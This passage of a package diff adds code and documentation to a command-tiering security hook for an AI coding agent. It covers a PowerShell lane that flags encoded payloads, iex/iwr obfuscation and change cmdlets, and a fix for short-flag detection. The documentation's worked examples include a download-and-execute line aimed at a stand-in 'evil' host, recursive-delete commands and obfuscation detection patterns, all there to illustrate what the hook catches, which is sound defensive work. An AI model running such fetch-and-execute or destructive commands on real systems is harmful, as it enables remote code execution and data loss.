2. Every Verb-Noun cmdlet is classified by its verb. ANY change or
|
|
2729
|
+
unknown verb escalates the WHOLE payload to T3 (composition mirror).
|
|
2730
|
+
3. To drop BELOW T3 every cmdlet must be a read verb AND at least one
|
|
2731
|
+
cmdlet must be present -- a payload with no recognizable cmdlet is
|
|
2732
|
+
T3 (cannot prove it is read-only; no safe-by-elimination here).
|
|
2733
|
+
"""
|
|
2734
|
+
# 1. Obfuscation / non-inspectable execution.
|
|
2735
|
+
for rx in _PS_OBFUSCATION_RES:
|
|
2736
|
+
if rx.search(payload):
|
|
2737
|
+
return MutativeResult(
|
|
2738
|
+
is_mutative=True,
|
|
2739
|
+
category=CATEGORY_MUTATIVE,
|
|
2740
|
+
verb="powershell-obfuscation",
|
|
2741
|
+
cli_family=family,
|
|
2742
|
+
confidence="high",
|
|
2743
|
+
reason=(
|
|
2744
|
+
f"PowerShell {source} contains an obfuscation / "
|
|
2745
|
+
f"arbitrary-execution marker (iex / call-operator) "
|
|
2746
|
+
f"-- requires approval"
|
|
2747
|
+
),
|
|
2748
|
+
)
|
|
2749
|
+
|
|
2750
|
+
# 2. Verb-Noun cmdlet scan.
|
|
2751
|
+
matches = _PS_CMDLET_RE.findall(payload)
|
|
2752
|
+
if not matches:
|
|
2753
|
+
return MutativeResult(
|
|
2754
|
+
is_mutative=True,
|
|
2755
|
+
category=CATEGORY_MUTATIVE,
|
|
2756
|
+
verb="powershell-uninspectable",
|
|
2757
|
+
cli_family=family,
|
|
2758
|
+
confidence="medium",
|
|
2759
|
+
reason=(
|
|
2760
|
+
f"PowerShell {source} has no recognizable Verb-Noun cmdlet "
|
|
2761
|
+
f"-- cannot prove it is read-only (conservative default)"
|
|
2762
|
+
),
|
|
2763
|
+
)
|
|
2764
|
+
|
|
2765
|
+
for verb, noun in matches:
|
|
2766
|
+
v, n = verb.lower(), noun.lower()
|
|
2767
|
+
kind = _classify_powershell_verb(v, n)
|
|
2768
|
+
if kind == "change":
|
|
2769
|
+
return MutativeResult(
|
|
2770
|
+
is_mutative=True,
|
|
2771
|
+
category=CATEGORY_MUTATIVE,
|
|
2772
|
+
verb=f"{v}-{n}",
|
|
2773
|
+
cli_family=family,
|
|
2774
|
+
confidence="high",
|
|
2775
|
+
reason=(
|
|
2776
|
+
f"PowerShell {source} invokes change cmdlet "
|
|
2777
|
+
f"'{verb}-{noun}' (verb '{verb}') -- requires approval"
|
|
2778
|
+
),
|
|
2779
|
+
)
|
|
2780
|
+
if kind == "unknown":
|
|
2781
|
+
return MutativeResult(
|
|
2782
|
+
is_mutative=True,
|
|
2783
|
+
category=CATEGORY_MUTATIVE,
|
|
2784
|
+
verb=f"{v}-{n}",
|
|
2785
|
+
cli_family=family,
|
|
2786
|
+
confidence="medium",
|
|
2787
|
+
reason=(
|
|
2788
|
+
f"PowerShell {source} invokes cmdlet '{verb}-{noun}' whose "
|
|
2789
|
+
f"verb '{verb}' is not an approved read verb "
|
|
2790
|
+
f"(conservative default)"
|
|
2791
|
+
),
|
|
2792
|
+
)
|
|
2793
|
+
|
|
2794
|
+
# 3. Every cmdlet is a read verb.
|
|
2795
|
+
return MutativeResult(
|
|
2796
|
+
is_mutative=False,
|
|
2797
|
+
category=CATEGORY_READ_ONLY,
|
|
2798
|
+
verb="powershell-read",
|
|
2799
|
+
cli_family=family,
|
|
2800
|
+
confidence="high",
|
|
2801
|
+
reason=(
|
|
2802
|
+
f"PowerShell {source}: all cmdlets are approved read verbs "
|
|
2803
|
+
f"(Get/Measure/Select/... ) -- non-mutative"
|
|
2804
|
+
),
|
|
2805
|
+
)
|
|
2806
|
+
|
|
2807
|
+
|
|
2808
|
+
def _check_powershell_command(
|
|
2809
|
+
command: str, base_cmd: str, family: str, semantics: "CommandSemantics",
|
|
2810
|
+
cwd: "Optional[str]" = None, _depth: int = 0,
|
|
2811
|
+
) -> "Optional[MutativeResult]":
|
|
2812
|
+
"""Classify a PowerShell invocation by introspecting its payload.
|
|
2813
|
+
|
|
2814
|
+
Recognizes ``powershell``/``powershell.exe``/``pwsh``/``pwsh.exe``. The
|
|
2815
|
+
payload source is, in priority order:
|
|
2816
|
+
* ``-EncodedCommand <base64>`` -> T3 immediately (non-inspectable).
|
|
2817
|
+
* ``-File <script.ps1>`` -> read the file and classify its contents
|
|
2818
|
+
(unreadable -> conservative T3, mirroring the script-file lane).
|
|
2819
|
+
* ``-Command``/``-c`` inline -> classify the raw command text (the
|
|
2820
|
+
interpreter flags carry no Verb-Noun cmdlet, so scanning the whole
|
|
2821
|
+
string is safe and captures the payload regardless of quoting).
|
|
2822
|
+
* no explicit payload flag -> scan the whole command text anyway; a
|
|
2823
|
+
bare interactive ``powershell`` with no cmdlet falls to conservative T3.
|
|
2824
|
+
|
|
2825
|
+
Returns ``None`` when ``base_cmd`` is not a PowerShell interpreter.
|
|
2826
|
+
"""
|
|
2827
|
+
if base_cmd not in _POWERSHELL_INTERPRETERS:
|
|
2828
|
+
return None
|
|
2829
|
+
|
|
2830
|
+
flag_tokens = set(semantics.flag_tokens)
|
|
2831
|
+
|
|
2832
|
+
# -EncodedCommand: base64 payload is not inspectable -> conservative T3.
|
|
2833
|
+
if any(_is_ps_encoded_flag(f) for f in flag_tokens):
|
|
2834
|
+
return MutativeResult(
|
|
2835
|
+
is_mutative=True,
|
|
2836
|
+
category=CATEGORY_MUTATIVE,
|
|
2837
|
+
verb="powershell-encodedcommand",
|
|
2838
|
+
cli_family=family,
|
|
2839
|
+
confidence="high",
|
|
2840
|
+
reason=(
|
|
2841
|
+
"PowerShell invoked with -EncodedCommand (base64 payload) "
|
|
2842
|
+
"-- cannot introspect the script, requires approval"
|
|
2843
|
+
),
|
|
2844
|
+
)
|
|
2845
|
+
|
|
2846
|
+
# -File <script.ps1>: classify the referenced file's contents. Routed off
|
|
2847
|
+
# an actual ``.ps1`` positional rather than the ``-File``/``-f`` flag: the
|
|
2848
|
+
# tokenizer normalizes a long single-dash flag into its single chars
|
|
2849
|
+
# (``-NoProfile`` -> ``-n -o ... -f ...``), so a flag-set membership test for
|
|
2850
|
+
# ``-f`` would false-positive on every ``-NoProfile`` invocation. A ``.ps1``
|
|
2851
|
+
# positional is the reliable, collision-free signal.
|
|
2852
|
+
ps_files = [
|
|
2853
|
+
t for t in semantics.non_flag_tokens if t.lower().endswith(".ps1")
|
|
2854
|
+
]
|
|
2855
|
+
if ps_files:
|
|
2856
|
+
content = _read_script_content(ps_files[0], cwd=cwd)
|
|
2857
|
+
if content is None:
|
|
2858
|
+
return MutativeResult(
|
|
2859
|
+
is_mutative=True,
|
|
2860
|
+
category=CATEGORY_MUTATIVE,
|
|
2861
|
+
verb="powershell-file-unreadable",
|
|
2862
|
+
cli_family=family,
|
|
2863
|
+
confidence="medium",
|
|
2864
|
+
reason=(
|
|
2865
|
+
f"PowerShell -File '{ps_files[0]}' is not a readable file "
|
|
2866
|
+
f"-- cannot verify the payload (conservative default)"
|
|
2867
|
+
),
|
|
2868
|
+
)
|
|
2869
|
+
return _classify_powershell_payload(content, family, "script file")
|
|
2870
|
+
|
|
2871
|
+
# -Command / -c inline, or no explicit payload flag: scan the command text.
|
|
2872
|
+
return _classify_powershell_payload(command, family, "-Command payload")
|
|
2873
|
+
|
|
2874
|
+
|
|
2560
2875
|
def _read_script_content(
|
|
2561
2876
|
path: str, cwd: "Optional[str]" = None,
|
|
2562
2877
|
) -> "Optional[str]":
|
package/package.json
CHANGED
package/pyproject.toml
CHANGED
|
@@ -169,7 +169,8 @@ There is **no npm postinstall hook**. `package.json` carries an explicit `_insta
|
|
|
169
169
|
4. Merge hooks from `hooks.json` into `settings.local.json`.
|
|
170
170
|
5. Create `.claude/{agents, tools, hooks, config, skills}` symlinks (5) plus a `CHANGELOG.md` file link.
|
|
171
171
|
6. Write `plugin-registry.json` with `installed[].name == "gaia"` (the single unified plugin identity).
|
|
172
|
-
7. Write the PATH launcher unless `--no-path`: POSIX still gets the `~/.local/bin/gaia` bash shim; Windows instead gets `gaia.cmd` + `gaia.ps1` (`_install_windows_launchers` / `_render_cmd_launcher` / `_render_ps1_launcher` in `bin/cli/install.py`), each baking in the resolved workspace and exporting `GAIA_WORKSPACE_PATH` before dispatching to `bin/gaia`.
|
|
172
|
+
7. Write the PATH launcher unless `--no-path`: POSIX still gets the `~/.local/bin/gaia` bash shim; Windows instead gets `gaia.cmd` + `gaia.ps1` (`_install_windows_launchers` / `_render_cmd_launcher` / `_render_ps1_launcher` in `bin/cli/install.py`), each baking in the resolved workspace and exporting `GAIA_WORKSPACE_PATH` before dispatching to `bin/gaia`. On Windows only, install ALSO warns (`_warn_launcher_shadowed` / `_launcher_path_precedence`) when `~/.local/bin` does not precede the npm prefix on PATH -- the npm shim would win and the launcher would be shadowed.
|
|
173
|
+
8. **Windows only:** persist `GAIA_WORKSPACE_PATH` to the USER environment via `setx` (`_persist_workspace_env` in `bin/cli/install.py`). The launcher's export is process-scoped, so if npm's own `gaia.cmd` wins the PATH lookup the env var is never set and `doctor._derive_workspace` derives the npm prefix -> false CRITICAL. The persisted (durable, last-install-wins, single-valued) value makes the NEXT `gaia doctor` (a fresh process) resolve the workspace regardless of which `gaia` wins PATH. No-op on POSIX. When no workspace resolves and the env var is unset, `gaia doctor` emits a legible, actionable message naming both remedies (`--workspace <path>` or reinstall) instead of a raw CRITICAL.
|
|
173
174
|
|
|
174
175
|
Note: no `project-context.json` is written. Project context lives in `~/.gaia/gaia.db`. Run `gaia scan` separately to populate it -- install never triggers a scan.
|
|
175
176
|
|
|
@@ -35,6 +35,8 @@ This mirrors `_classify_command_tier_cached` in `hooks/modules/security/tiers.py
|
|
|
35
35
|
|
|
36
36
|
Conditional commands depend on flags: `git branch` is T0 for listing but T3 only with `-D` or `-M` (the force-delete and force-rename flags checked by `_scan_dangerous_flags`) or the long-form `--delete`. The lowercase short forms `-d` (delete) and `-m` (rename) are deliberately LEFT UNGATED -- this is an intentional design decision, not a classification gap. Git itself refuses `-d` on a branch with unmerged commits (it exits non-zero and demands the explicit `-D` override to force it through), so the safety check already lives inside git before Gaia's tier classification ever runs; gating a command git already declines to run unsafely would add friction without closing a real risk. The same split applies to `-m` vs `-M`: `-m` renames without clobbering an existing branch of the same name, while `-M` forces the rename and can silently overwrite it. So the free/gated line mirrors git's own safe/force distinction -- the safe verbs (`-d`, `-m`) stay free, the force verbs (`-D`, `-M`) are gated. Separately, the short force flag `-f` now escalates git to T3 across subcommands (`git` is in `F_FLAG_MEANS_FORCE` in `mutative_verbs.py`, mirroring the long-form `--force`): `git mv -f` (force-overwrite the destination), `git checkout -f` (discard uncommitted changes), `git branch -f`, and `git add -f` are all T3. Without this, those slipped through as T0 because their subcommands live in `GIT_LOCAL_SAFE_SUBCOMMANDS` and `-f` was not collected by `_scan_dangerous_flags` for git.
|
|
37
37
|
|
|
38
|
+
Packed short-flag heuristic (`_scan_dangerous_flags` -> `_is_posix_short_flag_cluster`): a single-dash multi-char token like `-rf`/`-rfi` is a bundle of single-character POSIX flags (`-r -f -i`), and the scanner escalates it when it packs a dangerous combination. That heuristic USED to test only "does the token contain both `r` and `f`?" on ANY `>2`-char single-dash token -- which mis-read the .NET/PowerShell/Java-style long word-flag `-NoProfile` (P**rof**ile carries both `r` and `f`) as if it were `-rf`, forcing EVERY PowerShell invocation (Claude Code prepends `-NoProfile`) to a spurious T3. The gate now fires only on a genuine packed bundle: short (`<= _MAX_POSIX_SHORT_FLAG_CLUSTER`, 4 chars), all letters, and with no CamelCase word boundary (`_CAMEL_WORD_RE`, an uppercase letter followed by a lowercase one). So `-rf`/`-rfi`/`-fv`/`-rv` still escalate, while `-NoProfile`/`-Force`/`-Recurse`/`-ExecutionPolicy` no longer do -- for ANY CLI with single-dash word flags, not just PowerShell. Accepted trade-off: an uppercase-led bundle such as `-Rf` trips the CamelCase gate and is not matched here, deliberately -- the `-R`/`-r`/`-f` single flags are still caught by their exact-match handling, and killing the ubiquitous `-NoProfile` false positive is worth far more than the rare uppercase-packed form.
|
|
39
|
+
|
|
38
40
|
KNOWN ASYMMETRY (documented, not changed): `--delete` is git's documented long-form synonym for `-d` -- both invoke the same safe, refuses-if-unmerged deletion -- yet `--delete` IS currently gated (`DELETE_FLAG_IS_DESTRUCTIVE` in `mutative_verbs.py` lists `git`) while `-d` is not (`DANGEROUS_FLAGS` has no entry for `-d`). Two spellings of the identical safe operation currently classify differently. This is a known, accepted inconsistency between the two flag forms -- flagged here for visibility, left as-is by design. For cloud-specific verb patterns (kubectl, terraform, gcloud, helm, flux), see `reference.md`.
|
|
39
41
|
|
|
40
42
|
## Enforcement anchors
|
|
@@ -44,6 +46,7 @@ The runtime, not this skill, enforces tiers. Three modules layer the decision:
|
|
|
44
46
|
- `tiers.py` -- the `SecurityTier` enum (`T0_READ_ONLY`, `T1_VALIDATION`, `T2_DRY_RUN`, `T3_BLOCKED`) and `_classify_command_tier_cached` assign every command a tier.
|
|
45
47
|
- `blocked_commands.py` -- pattern-matches irreversible commands and permanently denies them (exit 2, never approvable).
|
|
46
48
|
- `mutative_verbs.py` -- CLI-agnostic detection of mutative verbs; drives the nonce / approval flow for T3. Includes script-file detection (Step 1d, `_check_script_file`): when a command is `<interpreter> <script-file>` (`python3 deploy.py`, `bash setup.sh`, `node migrate.js`) or `./script.ext`, the file is read and classified by its real invocations -- AST analysis for Python, the blocked/mutative regex layer for shells and other interpreters. A script that is missing, unreadable, or whose interpreter is unrecognized defaults to T3 (conservative). This prevents the evasion path where `<interp> <file>` bypasses the verb scanner because the filename token has no recognizable subcommand. A RELATIVE script token is resolved against the `cd` TARGET of its command chain, NOT the hook's own cwd: `detect_mutative_command` peels a leading `cd <dir>` chain (`_peel_leading_cd`, on `&&` / `;`, `||` excluded) and threads the resulting `cwd` into `_read_script_content`; the compound validator (`bash_validator._validate_compound_command`) additionally folds the cwd across the SEPARATE components a chain splits into (via `cwd_after_component`), so `cd /repo && node engine/build.mjs` reads `/repo/engine/build.mjs` and classifies at its true tier instead of a false `script-file-unreadable` T3. Gaia governs arbitrary workspaces, so this must not assume the install dir; when no `cd` is present the process cwd is still used, and a path that is unreadable AFTER honoring the `cd` keeps the conservative T3 fallback. Before reading the body, `_check_script_file` first checks `_INTERP_SYNTAX_CHECK_FLAGS`: a leading syntax-check-only flag (`bash -n`, `sh -n`, `node --check` / `node -c`) that precedes the script positional never executes the script, so the invocation downgrades to T0 without reading the file's contents at all -- a flag appearing after the script positional is an argument to the script and does not qualify. One narrowly-scoped script is re-dispatched rather than AST-scanned: the Gaia CLI dispatcher `bin/gaia` (recognized by basename `gaia` + parent dir `bin` + a body signature, via `_check_gaia_cli_dispatcher`) has its own `subprocess.run(...)` for the lazy DB bootstrap, which AST analysis would flag as mutative -- turning EVERY `python3 <path>/bin/gaia <subcmd>` into a false T3, including read-only subcommands (`doctor`, `release check`, dry-runs). Instead the tokens after the script positional are reconstructed as `gaia <subcmd> ...` and re-classified through the normal engine, so the form classifies IDENTICALLY to the installed launcher form `gaia <subcmd>` (`dev` stays T3 via `COMMAND_SUBCOMMAND_MUTATIVE_UPGRADES`, `install` T3 via `MUTATIVE_VERBS`, read-only subcommands T0). This mirrors the `python3 -m pip install` -> `pip install` re-dispatch and is NOT a general subprocess.run bypass -- an unrelated `bin/gaia` without the signature is still AST-scanned. Step 1e (`_check_npm_script_runner`) applies the same real-effect standard to npm: `npm run <script>` is resolved to its `package.json` `scripts.<script>` body (the `package.json` is read under the same `cd`-honored cwd, so `cd /repo && npm run build` reads `/repo/package.json`) and that body is classified by the same regex engine used for script files (an unresolvable body -- missing/unparseable `package.json` or absent entry -- falls back to conservative T3), while `npm ci` is unconditionally mutative (T3) because it rewrites `node_modules` regardless of the verb taxonomy. Non-shell source files (`.js`/`.mjs`/`.cjs`/`.rb`/`.pl`/`.php`) route through the **"code" lane**, which splits by language. Each of the four registered families -- the JS family (`.js`/`.mjs`/`.cjs`, or a `node` interpreter token), plus php (`.php`/`php`), ruby (`.rb`/`ruby`), and perl (`.pl`/`.pm`/`perl`) -- resolves a `LanguageSpec` via `source_lexer.spec_for_script` and is classified by `_classify_source_with_lexer`; a language with no registered spec (`spec_for_script` returns `None`) falls through to the older regex lane, `_classify_script_content_by_regex` with `from_source_code=True`. For any lexed family, `source_lexer.strip_source` runs a single left-to-right state machine over the file and produces two line-aligned projections: `verb_view` (comments blanked, string/template-literal CONTENTS blanked) and `exec_view` (comments blanked, string CONTENTS KEPT). `_classify_source_with_lexer` then runs, per line: (1) `is_blocked_command` on `verb_view` as a defense-in-depth safety net for a permanently-blocked pattern; (2) `_scan_exec_sink_string_args` on `exec_view` with `shell_backticks=spec.backticks_are_exec` -- `JS_SPEC.backticks_are_exec` is `False`, because a JS backtick delimits a template literal, not shell execution, so backtick/`%x{}` bodies are NOT treated as exec sinks for JS. Deliberately **not** run for JS: the whole-token mutative-verb scan (`detect_mutative_command`) that the regex lane uses -- in JS a bare word at subcommand position is a language identifier, not a CLI subcommand (`const label = ...`, `let close = ...`), and the scan caught no real JS mutation, only these identifier collisions, so it is removed entirely for this lane rather than merely down-weighted. A real JS mutation still reaches the shell through an exec sink whose argument is a string literal (`execSync("kubectl delete ...")`), which `exec_view` preserves (including `${…}` interpolation) and re-classifies, so removing the whole-token scan does not open a false negative. Ruby/perl/php are now comment/string-aware exactly like JS: each resolves its own `LanguageSpec` (`RUBY_SPEC`/`PERL_SPEC`/`PHP_SPEC`) and routes through `_classify_source_with_lexer`, closing the false-T3 class where a mutative verb mentioned only inside a comment (`php` with `// update the user cache`, ruby `=begin ... delete ... =end`, perl POD) was read as an invocation. Their comment grammars exceed JS's `//` + `/* */`, so the spec carries three extensions (all defaulting off, leaving `JS_SPEC` unchanged): `extra_line_comments` for PHP's second line marker `#` alongside `//`; `line_block_comments` for Ruby's column-0 `=begin`/`=end`; and `pod_style` for Perl POD (a line starting with `=`+letter, closed by `=cut`). Heredocs (`<<<`/`<<~`) and `q{}`/`qq{}` string forms are an accepted limitation that can only cost a residual false positive, never a false negative. Crucially, unlike `JS_SPEC`, these three specs set `backticks_are_exec=True` and do NOT list the backtick in `string_quotes`: a ruby/perl/php backtick body -- and Ruby's `%x{}` -- is left verbatim in the exec view and re-classified as a shell command (`_EXEC_SINK_BACKTICK_RE`/`_EXEC_SINK_PERCENT_X_RE`, `shell_backticks=True`), since a backtick in these languages IS shell execution. This preserves the exec detection the old regex lane had (`system()`/`shell_exec()`/backticks/`%x{}` still classify T3) while dropping the whole-token verb scan, which -- as in JS -- produced only language-identifier collisions and caught no real mutation (those go through exec sinks). Because the quote making a command one token would otherwise hide a mutation passed to a subprocess as a string literal, `_scan_exec_sink_string_args` is one detector shared across three callers -- the inline `-c`/`-e` path, the shell/other-language regex code lane, and the (JS/ruby/perl/php) lexer lane: the command handed to an exec sink (`execSync`/`execFile`/`spawn`/`system`/`shell_exec`/`passthru`/backticks/`%x{}`, backticks gated by `shell_backticks`) is extracted and re-classified, escalating to T3 **only when the inner command is itself mutative or blocked** (so `execSync("kubectl delete ...")` is T3 while a benign `execSync("ls")` stays T0 -- the false-positive gate). This makes `node deploy.js` classify identically to `node -e "..."`. Residual accepted-limitation: the general case -- a mutation assembled by string concatenation, variable interpolation, or base64, or passed to a sink not in the exec-sink set -- is not detected by static classification; the exec-sink slice is the bounded, low-false-positive portion that is closed.
|
|
49
|
+
- `mutative_verbs.py` (PowerShell lane, Step 1c-ps, `_check_powershell_command`) -- the POSIX verb scanner is blind to the Windows/.NET shell: `powershell.exe -Command "<script>"` collapses its payload into one opaque token, so a destructive `Remove-Item -Recurse` inside it slipped through as safe-by-elimination (a false NEGATIVE). This lane mirrors `_INLINE_CODE_MAP` / `_check_script_file` for `powershell`/`powershell.exe`/`pwsh`/`pwsh.exe`: it introspects the payload of `-Command`/`-c` (scanning the whole command text -- the interpreter flags carry no Verb-Noun cmdlet, so this is collision-free) and of `-File <script.ps1>` (read via `_read_script_content` under the `cd`-honored cwd; unreadable -> conservative T3, mirroring the script-file lane). Each cmdlet is classified by its Verb-Noun VERB (the part before the hyphen) against PowerShell's approved-verb taxonomy: `_PS_READ_VERBS` (get/measure/select/where/sort/compare/test/resolve/find/search/show/format/convertfrom/convertto/... -> read) vs `_PS_CHANGE_VERBS` (set/new/remove/clear/move/copy/rename/start/stop/invoke/... -> T3); the ambiguous `Out-*` verb splits by noun (`Out-String`/`Out-Host`/`Out-Null` read, `Out-File`/`Out-Printer` change). Three security rules keep it conservative, NOT permissive: (1) composition -- ANY change/unknown verb ANYWHERE in the payload escalates the WHOLE payload to T3 (`Get-ChildItem; Remove-Item x` is T3, not T0 by first-cmdlet); (2) obfuscation -- `iex`/`iwr`/`icm`, `Invoke-Expression`, `&`/`.` call operators (`_PS_OBFUSCATION_RES`), and `-EncodedCommand <base64>` (`_is_ps_encoded_flag`) are T3 regardless of surrounding cmdlets, checked FIRST so a read cmdlet piped into `iex` cannot launder the payload; (3) positive allowlist -- to drop BELOW T3 EVERY cmdlet must be a read verb AND at least one recognizable cmdlet must be present; a payload with no recognizable Verb-Noun cmdlet (or any unknown verb) stays T3 (default-deny fallback, mirroring an unreadable script file). Because the verb taxonomy classifies by verb rather than a per-cmdlet list, a never-before-seen cmdlet is classified correctly (`Get-FooBar` -> read, `Set-FooBar` -> T3) with no allow-list to maintain. Accepted limitation: a mutation via a bare native command inside `-Command` (no Verb-Noun) is caught only by the conservative no-cmdlet fallback (T3), and an alias not in the obfuscation set is not name-resolved.
|
|
47
50
|
- `composition_rules.py` -- `check_composition` / `classify_stage` classify pipe compositions (FILE_READ→EXEC_SINK, network→exec, decode→exec); triggers T3 on dangerous pipelines such as `file_to_exec`.
|
|
48
51
|
- `flag_classifiers.py` -- `_classify_curl` / `classify_by_flags` detect flag-dependent mutations; triggers T3 on commands whose flags make them mutative (e.g., `curl -X POST`).
|
|
49
52
|
|
|
@@ -30,6 +30,7 @@ Read on-demand by infrastructure agents. Not injected automatically.
|
|
|
30
30
|
|
|
31
31
|
- `git branch` -- T0 for listing (no args or `--list`); T3 only with `-D` (force-delete), `-M` (force-rename), or the long-form `--delete`. The lowercase `-d` (delete -- git refuses on unmerged branches) and `-m` (plain rename) are intentionally left ungated: they are the safe counterparts of the same operations, and gating them would add a consent prompt for something git itself already refuses to do unsafely. `--move` (git's long form of `-m`, a plain rename) IS a recognized git flag but, like `-m`, is intentionally left ungated -- it is the safe counterpart of `-M`. Known asymmetry: `--delete` (long form of `-d`) IS gated even though it performs the identical safe deletion `-d` performs -- see `SKILL.md` for the full rationale and this documented (not fixed) inconsistency.
|
|
32
32
|
- Short force flag `-f` on git -- T3 across subcommands. `git` is in `F_FLAG_MEANS_FORCE` (`mutative_verbs.py`), mirroring the long-form `--force`, so `git mv -f` (force-overwrite the destination), `git checkout -f` (discard uncommitted changes), `git branch -f`, and `git add -f` all escalate to T3. Previously these slipped through as T0 because their subcommands are in `GIT_LOCAL_SAFE_SUBCOMMANDS` and `-f` was not collected by `_scan_dangerous_flags` for git.
|
|
33
|
+
- Packed short-flag bundle (`-rf`, `-rfi`, `-fv`) -- T3 when it packs a dangerous single-char combination. `_scan_dangerous_flags` treats a single-dash multi-char token as a bundle of one-char POSIX flags and escalates `r`+`f` (always), `f` (force CLIs), or `r` (recursive-delete CLIs). It is gated by `_is_posix_short_flag_cluster` so only a GENUINE bundle qualifies -- short (<= 4 chars), all letters, no CamelCase word boundary (`_CAMEL_WORD_RE`). This is the fix for the false positive where the .NET/PowerShell/Java-style long word-flag `-NoProfile` (contains `r` and `f`) was mis-read as `-rf` and forced every PowerShell command to T3. Now `-rf`/`-rfi`/`-fv` still escalate while `-NoProfile`/`-Force`/`-Recurse`/`-ExecutionPolicy` do not, for any CLI with single-dash word flags. Accepted trade-off: an uppercase-led `-Rf` also trips the CamelCase gate and is not matched here (the single `-R`/`-r`/`-f` exact-match handling still catches those).
|
|
33
34
|
|
|
34
35
|
### T3 -- Realization
|
|
35
36
|
|
|
@@ -41,6 +42,37 @@ Read on-demand by infrastructure agents. Not injected automatically.
|
|
|
41
42
|
|
|
42
43
|
Note: `git commit` and `git add` are **not** T3. They are local-only (working tree + local refs, never remote), classified safe by elimination via `GIT_LOCAL_SAFE_SUBCOMMANDS` in `mutative_verbs.py`. Only `git push` reaches remote state.
|
|
43
44
|
|
|
45
|
+
## PowerShell / Windows shell lane
|
|
46
|
+
|
|
47
|
+
The classifier is NOT bash/POSIX-only. `powershell`/`powershell.exe`/`pwsh`/`pwsh.exe` route through a dedicated lane (`_check_powershell_command`, Step 1c-ps in `detect_mutative_command`) that introspects the payload the POSIX verb scanner cannot see -- `-Command "<script>"` collapses into one opaque token, so before this lane a destructive `Remove-Item -Recurse` classified T0 (a false negative) while `-NoProfile` forced everything to T3 (a false positive).
|
|
48
|
+
|
|
49
|
+
**Payload source (priority order):**
|
|
50
|
+
1. `-EncodedCommand <base64>` (any prefix of "encodedcommand", or `ec`, via `_is_ps_encoded_flag`) -- T3 immediately; the base64 blob is not inspectable.
|
|
51
|
+
2. `-File <script.ps1>` -- a `.ps1` positional is read (`_read_script_content`, honoring a leading `cd`) and its contents classified; unreadable -> conservative T3, mirroring the script-file lane. Routed off the `.ps1` positional, NOT the `-File`/`-f` flag, because flag normalization splits `-NoProfile` into single chars including `-f`.
|
|
52
|
+
3. `-Command`/`-c` inline (or no explicit flag) -- the whole command text is scanned; the interpreter flags carry no Verb-Noun cmdlet, so scanning the full string is collision-free.
|
|
53
|
+
|
|
54
|
+
**Verb-Noun taxonomy** -- each cmdlet is classified by its VERB (the token before the hyphen), so a never-seen cmdlet is classified correctly with no per-cmdlet list:
|
|
55
|
+
|
|
56
|
+
- `_PS_READ_VERBS` (-> read, non-mutative): `Get-*`, `Measure-*`, `Select-*`, `Where-*`, `Sort-*`, `Compare-*`, `Test-*`, `Resolve-*`, `Find-*`, `Search-*`, `Show-*`, `Format-*`, `ConvertFrom-*`, `ConvertTo-*`, `Group-*`, `Join-*`, `Split-*`, `Read-*`.
|
|
57
|
+
- `_PS_CHANGE_VERBS` (-> T3): `Set-*`, `New-*`, `Remove-*`, `Clear-*`, `Add-*`, `Move-*`, `Copy-*`, `Rename-*`, `Start-*`, `Stop-*`, `Restart-*`, `Suspend-*`, `Resume-*`, `Register-*`, `Unregister-*`, `Install-*`, `Uninstall-*`, `Import-*`, `Export-*`, `Write-*`, `Enable-*`, `Disable-*`, `Mount-*`, `Dismount-*`, `Invoke-*`, `Push-*`, `Pop-*`, `Save-*`, `Publish-*`, `Send-*`, `Update-*`, `Edit-*`, `Reset-*`, `Limit-*`, `Block-*`.
|
|
58
|
+
- Ambiguous `Out-*` splits by noun (`_PS_OUT_READ_NOUNS`): `Out-String`/`Out-Host`/`Out-Null`/`Out-Default`/`Out-GridView` are read; `Out-File`/`Out-Printer` are change.
|
|
59
|
+
|
|
60
|
+
**Three conservative security rules (default-deny, not permissive):**
|
|
61
|
+
1. **Composition** -- ANY change or unknown verb ANYWHERE in the payload escalates the WHOLE payload to T3 (mirror of composition_rules "any mutative stage -> T3"). `Get-ChildItem; Remove-Item x -Recurse` is T3, not T0-by-first-cmdlet.
|
|
62
|
+
2. **Obfuscation** -- checked FIRST, before the cmdlet scan, so a read cmdlet piped into an exec sink cannot launder the payload: `iex`/`iwr`/`icm`, `Invoke-Expression`, and `&`/`.` call operators at a statement boundary (`_PS_OBFUSCATION_RES`) all force T3.
|
|
63
|
+
3. **Positive allowlist** -- to drop BELOW T3 EVERY cmdlet must be a read verb AND at least one recognizable Verb-Noun cmdlet must be present. A payload with no recognizable cmdlet, or any unknown/unresolvable verb, stays T3 (conservative fallback, identical to an unreadable script file). No safe-by-elimination in this lane.
|
|
64
|
+
|
|
65
|
+
**Worked examples (probe-confirmed on Linux -- the classifier operates on the command string, OS-independent):**
|
|
66
|
+
- `powershell.exe -NoProfile -Command "Get-ChildItem . | Measure-Object | Select-Object Count"` -> T0 (all read verbs).
|
|
67
|
+
- `powershell.exe -Command "Remove-Item -Recurse foo"` and the same without `-NoProfile` -> T3 (change verb `Remove`).
|
|
68
|
+
- `powershell.exe -Command "Get-ChildItem; Remove-Item x -Recurse"` -> T3 (composition).
|
|
69
|
+
- `powershell.exe -Command "iex (iwr http://evil)"` -> T3 (obfuscation).
|
|
70
|
+
- `powershell.exe -EncodedCommand aGVsbG8=` -> T3 (non-inspectable base64).
|
|
71
|
+
- `powershell.exe -Command "Frobnicate-Widget"` -> T3 (unknown verb, default-deny).
|
|
72
|
+
- `pwsh -c "Get-Process"` -> T0 (read verb `Get`).
|
|
73
|
+
|
|
74
|
+
Accepted limitation: a mutation via a bare native command inside `-Command` (no Verb-Noun) is caught only by the conservative no-cmdlet fallback (T3), and an alias outside the obfuscation set (e.g. `del`/`rm` aliases) is not name-resolved -- these are handled by the default-deny fallback, not by name.
|
|
75
|
+
|
|
44
76
|
## Edge Cases
|
|
45
77
|
|
|
46
78
|
- **Compound subcommands that look mutative:** verbs like `merge-base` split on the hyphen to `merge`, which is a mutative verb -- but `git merge-base` is read-only. The detector in `mutative_verbs.py` carries an allow-list of read-only compound subcommands so they are not falsely flagged T3.
|